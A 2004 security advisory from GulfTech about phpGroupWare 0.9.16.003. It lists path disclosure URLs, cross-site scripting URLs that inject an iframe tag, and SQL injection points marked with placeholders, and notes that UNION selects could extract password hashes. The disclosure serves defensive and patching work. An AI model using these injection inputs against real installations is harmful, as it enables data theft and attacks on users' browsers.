########################################################## # GulfTech Security Research December 14th, 2004 ########################################################## # Vendor : phpGroupWare # URL : http://www.phpgroupware.org # Version : phpGroupWare 0.9.16.003 # Risk : Multiple Vulnerabilities ########################################################## Description: phpGroupWare (formerly known as webdistro) is a multi-user groupware suite written in PHP. It provides a Web-based calendar, todo-list, addressbook, email, news headlines, and a file manager. The calendar supports repeating events. The email system supports inline graphics and file attachments. The system as a whole supports user preferences, themes, user permissions, multi-language support, an advanced API, and user groups. phpGroupWare is included with some Linux distributions. Path Disclosure: phpGroupWare allows for full path disclosure. This issue can take place in more than one way. One example that will trigger the path disclosure is by appending junk (such as metacharacters) to the end of a session id. Below are two other examples http://host/phpgroupware/preferences/preferences.php?appname=blah http://host/phpgroupware/index.php?menuaction=blah This will reveal the full physical path of the web directory, and could possibly aid a would be attacker. The other example of path disclosure can be triggered by specifying an invalid menu item. Cross Site Scripting: Cross Site Scripting takes place in multiple places in phpGroupWare. Below are some examples. http://host/phpgroupware/wiki/index.php?kp3=99884d8a63791f406585913d74476b11 %22%3E%3Ciframe%3E http://host/phpgroupware/index.php?menuaction=forum.uiforum.post&type=new%22 %3E%3Ciframe%3E http://host/phpgroupware/index.php?menuaction=forum.uiforum.read&msg=202%22% 3E%3Ciframe%3E http://host/phpgroupware/index.php?menuaction=forum.uiforum.read&forum_id=3% 22%3E%3Ciframe%3E&msg=202 http://host/phpgroupware/index.php?menuaction=forum.uiforum.read&msg=42&pos= 10%22%3E%3Ciframe%3E http://host/phpgroupware/index.php?menuaction=preferences.uicategories.index &cats_app=%22%3E%3Ciframe%3E http://host/phpgroupware/index.php?menuaction=preferences.uicategories.edit& cats_app=notes&extra=&global_cats=True&cats_level=True&cat_parent=188&cat_id =188%22%3E%3Ciframe%3E http://host/phpgroupware/index.php?menuaction=email.uimessage.message&msgbal l[msgnum]=1%22%3E%3Ciframe%3E&msgball[folder]=INBOX.hello&msgball[acctnum]=0 &sort=1&order=1&start=0 http://host/phpgroupware/index.php?menuaction=email.uicompose.compose&fldbal l[folder]=INBOX.hello&fldball[acctnum]=0&to=%22%3E%3Ciframe%3E&personal=&sor t=1&order=1&start=0 http://host/phpgroupware/tts/viewticket_details.php?ticket_id=338%22%3E%3Cif rame%3E These Cross Site Scripting issues could allow an attacker to possibly gather sensitive information from a victim, and execute arbitrary client side code in the context of the victim's browser. SQL Injection: phpGrouWare has several SQL Injection holes. Some are not bad, some are a bit unorthadox, and a few are dangerous. One example of a kinda unorthadox SQL Injection is in the Trouble Ticket system. If an attacker requests a url like this: http://host/phpgroupware/tts/viewticket_details.php?ticket_id=355[SQL_QUERY] nothing will happen, but as soon as you save the ticket you are allowed to influence a SELECT query which could be very bad. Some more examples of the not so dangerous SQL Injection issues are: http://host/phpgroupware/index.php?menuaction=todo.ui.show_list&order=[SQL_Q UERY]&sort=ASC&filter=&qfield=&start=&query= http://host/phpgroupware/index.php?menuaction=projects.uiprojects.list_proje cts&order=[SQL_QUERY]&sort=ASC&filter=&qfield=&start=&query=&pro_main=&actio n=mains It should be noted that other parts of this query can be tampered with also, such as the sort fields etc. Now for some examples of the more dangerous issues that let you influence the query right in the middle of a SELECT statement. http://host/phpgroupware/index.php?menuaction=projects.uiprojects.edit_proje ct&pro_main=31&action=subs&project_id=32[SQL_QUERY] http://host/phpgroupware/index.php?menuaction=projects.uiprojects.edit_proje ct&pro_main=31[SQL_QUERY]&action=subs&project_id=32 http://host/phpgroupware/index.php?menuaction=projects.uiprojects.view_proje ct&pro_main=31&action=subs&project_id=32[SQL_QUERY]&domain=default http://host/phpgroupware/index.php?menuaction=projects.uiprojects.view_proje ct&pro_main=31[SQL_QUERY]&action=subs&project_id=32&domain=default&494fbb http://host/phpgroupware/index.php?menuaction=projects.uiprojecthours.view_h ours&project_id=32&pro_parent=&action=subs&hours_id=26[SQL_QUERY]&domain=def ault You can use these particular examples to UNION select info from the database with little effort required. This can be bad when password hashes start getting pulled by an attacker, or other sensitive data. I will release my proof of concepts for phpGroupWare once the updated version is available. Notes: All of the example url's had the session id, click history, and kp3 variables removed except where they were part of one of the examples. I also wrapped a few of the above examples for readability. Solution: I was able to speak to one of the lead developers via IRC on September 25th, 2004. I made the developer aware of the vulnerabilities, and held off on publishing my findings for a couple of months. I have not been able to get in touch with any developers for some weeks now, so I publish my finding in hopes that the community will present a fix :) Related Info: The original advisory can be found at the following location http://www.gulftech.org/?node=research&article_id=00054-12142004 Credits: James Bercegay of the GulfTech Security Research Team -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.296 / Virus Database: 265.5.0 - Release Date: 12/9/2004